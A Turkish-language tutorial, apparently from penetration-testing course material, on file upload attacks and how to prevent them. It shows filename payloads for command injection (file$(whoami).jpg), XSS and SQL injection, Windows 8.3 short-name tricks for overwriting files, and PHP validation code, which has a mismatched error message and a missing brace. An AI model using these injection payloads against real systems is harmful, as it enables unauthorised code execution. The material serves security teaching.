Diğer Upload Attacks

Rastgele dosya yükleme ve sınırlı dosya yükleme saldırılarına ek olarak, bazı web sızma testlerinde veya bug bounty testlerinde kullanışlı olabilecekleri için bahsetmeye değer birkaç teknik ve saldırı daha vardır. Şimdi bu tekniklerden bazılarını ve bunları ne zaman kullanabileceğimizi tartışalım.

Dosya Adındaki Enjeksiyonlar

Yaygın bir dosya yükleme saldırısı, yüklenen dosya adı için kötü amaçlı bir dize kullanır; bu dize, yüklenen dosya adı sayfada görüntülenirse (yani yansıtılırsa) çalıştırılabilir veya işlenebilir. Dosya adına bir komut enjekte etmeyi deneyebiliriz ve web uygulaması dosya adını bir işletim sistemi komutu içinde kullanırsa, bu bir komut enjeksiyonu saldırısına yol açabilir.

Örneğin, bir dosyaya file$(whoami).jpg veya file`whoami`.jpg veya file.jpg|whoami adını verirsek ve web uygulaması yüklenen dosyayı bir işletim sistemi komutuyla (örneğin mv file /tmp) taşımaya çalışırsa, dosya adımız whoami komutunu enjekte eder ve bu komut çalıştırılarak uzaktan kod yürütülmesine neden olur.

Benzer şekilde, dosya adında bir XSS payload’u kullanabiliriz (örn. <script>alert(window.origin);</script>), bu da dosya adı hedefe gösterilirse hedefin makinesinde çalıştırılır. Ayrıca dosya adına bir SQL sorgusu enjekte edebiliriz (örn. file’;select+sleep(5); — .jpg), bu da dosya adının bir SQL sorgusunda güvenli olmayan bir şekilde kullanılması durumunda bir SQL enjeksiyonuna yol açabilir.

Dizin Açıklamasını Yükle

Geri bildirim formu veya gönderim formu gibi bazı dosya yükleme formlarında, yüklediğimiz dosyanın bağlantısına erişimimiz olmayabilir ve yükleme dizinini bilmeyebiliriz. Bu gibi durumlarda, yükleme dizinini aramak için fuzzing kullanabilir veya hatta önceki bölümde gördüğümüz gibi web uygulamalarının kaynak kodunu okuyarak yüklenen dosyaların nerede olduğunu bulmak için diğer güvenlik açıklarını (ör. LFI/XXE) kullanabiliriz.

Yükleme dizinini ifşa etmek için kullanabileceğimiz bir başka yöntem de hata mesajlarını zorlamaktır, çünkü bunlar genellikle daha fazla istismar için yararlı bilgiler ortaya çıkarır. Bu tür hatalara neden olmak için kullanabileceğimiz bir saldırı, zaten var olan bir adla bir dosya yüklemek veya aynı anda iki aynı istek göndermektir. Bu, web sunucusunun dosyayı yazamadığına dair bir hata göstermesine neden olabilir ve bu da uploads dizinini ifşa edebilir. Ayrıca aşırı uzun bir isme sahip (örneğin 5.000 karakter) bir dosya yüklemeyi de deneyebiliriz. Web uygulaması bunu doğru şekilde işlemezse, hata verebilir ve yükleme dizinini ifşa edebilir.

Benzer şekilde, sunucunun hata vermesine ve yükleme dizinini ek yardımcı bilgilerle birlikte ifşa etmesine neden olacak çeşitli başka teknikler de deneyebiliriz.

Windows’a Özel Saldırılar

Önceki bölümlerde ele aldığımız bazı saldırılarda Windows’a özgü birkaç teknik de kullanabiliriz.

Bu tür saldırılardan biri, genellikle joker karakterler gibi özel kullanımlar için ayrılmış olan (|, <, >, * veya ?) gibi ayrılmış karakterleri kullanmaktır. Web uygulaması bu isimleri düzgün bir şekilde sterilize etmez veya tırnak içine almazsa, başka bir dosyaya (mevcut olmayabilir) atıfta bulunabilir ve yükleme dizinini ifşa eden bir hataya neden olabilir. Benzer şekilde, yüklenen dosya adı için (CON, COM1, LPT1 veya NUL) gibi Windows’a ayrılmış adlar kullanabiliriz; bu da web uygulamasının bu ada sahip bir dosya yazmasına izin verilmeyeceği için hataya neden olabilir.

Son olarak, mevcut dosyaların üzerine yazmak veya mevcut olmayan dosyalara atıfta bulunmak için Windows 8.3 Filename Convention’ı kullanabiliriz. Windows’un eski sürümleri dosya adları için kısa bir uzunlukla sınırlıydı, bu nedenle dosya adını tamamlamak için bir Tilde karakteri (~) kullanıyorlardı, bunu kendi yararımıza kullanabiliriz.

Örneğin, (hackthebox.txt) adlı bir dosyaya başvurmak için (HAC~1.TXT) veya (HAC~2.TXT) kullanabiliriz, burada rakam (HAC) ile başlayan eşleşen dosyaların sırasını temsil eder. Windows hala bu kuralı desteklediğinden, web.conf dosyasının üzerine yazmak için (örneğin WEB~.CONF) adında bir dosya yazabiliriz. Benzer şekilde, hassas sistem dosyalarının yerini alan bir dosya yazabiliriz. Bu saldırı, hatalar yoluyla bilgi ifşasına neden olmak, back-end sunucusunda DoS’a neden olmak ve hatta özel dosyalara erişmek gibi çeşitli sonuçlara yol açabilir.

Advanced File Upload Attacks

Bu yazımızda ele aldığımız tüm saldırılara ek olarak, dosya yükleme işlevleriyle kullanılabilecek daha gelişmiş saldırılar da vardır. Bir videoyu kodlamak, bir dosyayı sıkıştırmak veya bir dosyayı yeniden adlandırmak gibi yüklenen bir dosyada gerçekleşen herhangi bir otomatik işlem, güvenli bir şekilde kodlanmamışsa istismar edilebilir.

Yaygın olarak kullanılan bazı kütüphaneler, ffmpeg’de XXE’ye yol açan AVI yükleme güvenlik açığı gibi bu tür güvenlik açıkları için genel açıklara sahip olabilir. Bununla birlikte, özel kod ve özel kütüphanelerle uğraşırken, bu tür güvenlik açıklarını tespit etmek daha gelişmiş bilgi ve teknikler gerektirir, bu da bazı web uygulamalarında gelişmiş bir dosya yükleme güvenlik açığının keşfedilmesine yol açabilir.

Bu yazıda tartışmadığımız başka birçok gelişmiş dosya yükleme güvenlik açığı vardır. Daha gelişmiş dosya yükleme güvenlik açıklarını keşfetmek için bazı hata ödül raporlarını okumaya çalışın.

Dosya Yükleme Güvenlik Açıklarını Önleme

Bu yazımız boyunca, farklı dosya yükleme güvenlik açıklarından yararlanmanın çeşitli yöntemlerini tartıştık. Katıldığımız herhangi bir sızma testinde veya hata ödüllendirme uygulamasında, belirlenen güvenlik açıklarını gidermek için alınacak eylem noktalarını rapor edebilmeliyiz.

Bu bölümde, dosya yükleme işlevlerimizin güvenli bir şekilde kodlandığından ve istismara karşı güvenli olduğundan emin olmak için neler yapabileceğimizi ve her dosya yükleme güvenlik açığı türü için hangi eylem noktalarını önerebileceğimizi tartışacağız.

Uzantı Doğrulama

Bu yazımızda ele aldığımız ilk ve en yaygın yükleme güvenlik açığı türü dosya uzantısı doğrulamasıydı. Çoğu web sunucusu ve web uygulaması yürütme özelliklerini ayarlamak için dosya uzantılarını kullanma eğiliminde olduğundan, dosya uzantıları dosyaların ve komut dosyalarının nasıl yürütüleceği konusunda önemli bir rol oynar. Bu nedenle dosya yükleme fonksiyonlarımızın uzantı doğrulamasını güvenli bir şekilde yapabildiğinden emin olmalıyız.

Uzantıları whitelist yapmak her zaman daha güvenli olsa da, daha önce gördüğümüz gibi, izin verilen uzantıları whitelist yaparak ve tehlikeli uzantıları blacklist yaparak her ikisini de kullanmanız önerilir. Bu şekilde, blacklist, whitelist atlanırsa (örn. shell.php.jpg) kötü amaçlı komut dosyalarının yüklenmesini önleyecektir. Aşağıdaki örnekte bunun bir PHP web uygulamasıyla nasıl yapılabileceği gösterilmektedir, ancak aynı kavram diğer framework’lere de uygulanabilir:

$fileName = basename($_FILES["uploadFile"]["name"]);

// blacklist test
if (preg_match('/^.+\.ph(p|ps|ar|tml)/', $fileName)) {
echo "Only images are allowed";
die();
}

// whitelist test
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {
echo "Only images are allowed";
die();
}

Blacklist uzantılarında web uygulamasının uzantının dosya adının herhangi bir yerinde bulunup bulunmadığını kontrol ettiğini, whitelist uzantılarında ise web uygulamasının dosya adının uzantıyla bitip bitmediğini kontrol ettiğini görüyoruz. Ayrıca, hem back-end hem de front-end dosya doğrulaması uygulamalıyız. Front-end doğrulaması kolayca atlanabilse bile, kullanıcıların istenmeyen dosyaları yükleme olasılığını azaltır, böylece potansiyel olarak bir savunma mekanizmasını tetikler ve bize yanlış bir uyarı gönderir.

İçerik Doğrulama

Bu yazıda öğrendiğimiz gibi, dosya içeriğini de doğrulamamız gerektiğinden uzantı doğrulaması yeterli değildir. Birini diğeri olmadan doğrulayamayız ve her zaman hem dosya uzantısını hem de içeriğini doğrulamalıyız. Ayrıca, her zaman dosya uzantısının dosyanın içeriğiyle eşleştiğinden emin olmalıyız.

Aşağıdaki örnek, whitelisting aracılığıyla dosya uzantısını nasıl doğrulayabileceğimizi ve her ikisinin de beklenen dosya türümüzle eşleşmesini sağlarken hem File Signature hem de HTTP Content-Type başlığını nasıl doğrulayabileceğimizi göstermektedir:

$fileName = basename($_FILES["uploadFile"]["name"]);
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// whitelist test
if (!preg_match('/^.*\.png$/', $fileName)) {
echo "Only PNG images are allowed";
die();
}

// content test
foreach (array($contentType, $MIMEtype) as $type) {
if (!in_array($type, array('image/png'))) {
echo "Only SVG images are allowed";
die();
}

Yükleme Açıklaması

Yapmaktan kaçınmamız gereken bir diğer şey de yükleme dizinini ifşa etmek veya yüklenen dosyaya doğrudan erişim sağlamaktır. Her zaman uploads dizinini son kullanıcılardan gizlemek ve yüklenen dosyaları yalnızca bir indirme sayfası aracılığıyla indirmelerine izin vermek önerilir.

İstenen dosyayı uploads dizininden almak için bir download.php betiği yazabilir ve ardından dosyayı son kullanıcı için indirebiliriz. Bu şekilde, web uygulaması uploads dizinini gizler ve kullanıcının yüklenen dosyaya doğrudan erişmesini engeller. Bu, kod çalıştırmak için kötü niyetle yüklenmiş bir betiğe erişme olasılığını önemli ölçüde azaltabilir.

Bir indirme sayfası kullanıyorsak, download.php betiğinin yalnızca kullanıcıların sahip olduğu dosyalara erişim izni verdiğinden (yani IDOR/LFI güvenlik açıklarından kaçınmak için) ve kullanıcıların uploads dizinine doğrudan erişiminin olmadığından (yani 403 hatası) emin olmalıyız. Bu, Content-Disposition ve nosniff başlıklarını kullanarak ve doğru bir Content-Type başlığı kullanarak başarılabilir.

Yükleme dizinini kısıtlamanın yanı sıra, yüklenen dosyaların adlarını depolama alanında rastgele hale getirmeli ve “sterilize edilmiş” orijinal adlarını bir veritabanında saklamalıyız. Download.php betiği bir dosyayı indirmesi gerektiğinde, orijinal adını veritabanından alır ve indirme sırasında kullanıcıya sunar. Bu şekilde, kullanıcılar ne upload dizinini ne de yüklenen dosya adını bilecektir. Ayrıca, bir önceki bölümde gördüğümüz gibi, dosya isimlerindeki enjeksiyonlardan kaynaklanan güvenlik açıklarını da önleyebiliriz.

Yapabileceğimiz bir başka şey de yüklenen dosyaları ayrı bir sunucuda veya konteynerde saklamaktır. Bir saldırgan remote code execution elde edebilirse, tüm back-end sunucusunu değil sadece uploads sunucusunu tehlikeye atmış olur. Ayrıca, web sunucuları, PHP’de (open_basedir) gibi yapılandırmalar kullanılarak web uygulamalarının kısıtlı dizinleri dışındaki dosyalara erişmesini engelleyecek şekilde yapılandırılabilir.

Daha Fazla Güvenlik

Yukarıdaki ipuçları, kötü amaçlı bir dosyanın yüklenmesi ve bu dosyaya erişilmesi olasılığını önemli ölçüde azaltacaktır. Yukarıdaki önlemlerden herhangi birinin atlanması durumunda back-end sunucusunun tehlikeye atılmamasını sağlamak için birkaç önlem daha alabiliriz.

Ekleyebileceğimiz kritik bir yapılandırma, web uygulaması aracılığıyla sistem komutlarını yürütmek için kullanılabilecek belirli işlevleri devre dışı bırakmaktır. Örneğin, PHP’de bunu yapmak için php.ini’deki disable_functions yapılandırmasını kullanabilir ve exec, shell_exec, system, passthru ve diğerleri gibi tehlikeli işlevleri ekleyebiliriz.

Yapmamız gereken bir başka şey de, hassas bilgilerin ifşa edilmesini önlemek için herhangi bir sistem veya sunucu hatasını göstermeyi devre dışı bırakmaktır. Hataları her zaman web uygulaması düzeyinde ele almalı ve dosya adı, yükleme dizini veya ham hatalar gibi hassas veya özel ayrıntıları ifşa etmeden hatayı açıklayan basit hataları yazdırmalıyız.

Son olarak, aşağıda web uygulamalarımız için dikkate almamız gereken birkaç ipucu daha verilmiştir:

Dosya boyutunu sınırlaKullanılan tüm kütüphaneleri güncelleyinYüklenen dosyaları kötü amaçlı yazılım veya kötü amaçlı dizelere karşı tarayınİkincil bir koruma katmanı olarak bir Web Uygulaması Güvenlik Duvarı (WAF) kullanın

Bu bölümde tartışılan tüm güvenlik önlemlerini uyguladığımızda, web uygulaması nispeten güvenli olmalı ve yaygın dosya yükleme tehditlerine karşı savunmasız olmamalıdır. Bir web sızma testi gerçekleştirirken, bu noktaları bir kontrol listesi olarak kullanabilir ve kalan boşlukları doldurmaları için geliştiricilere eksik olanları sağlayabiliriz.

Okuduğunuz için teşekkür ederim .

Read Entire Article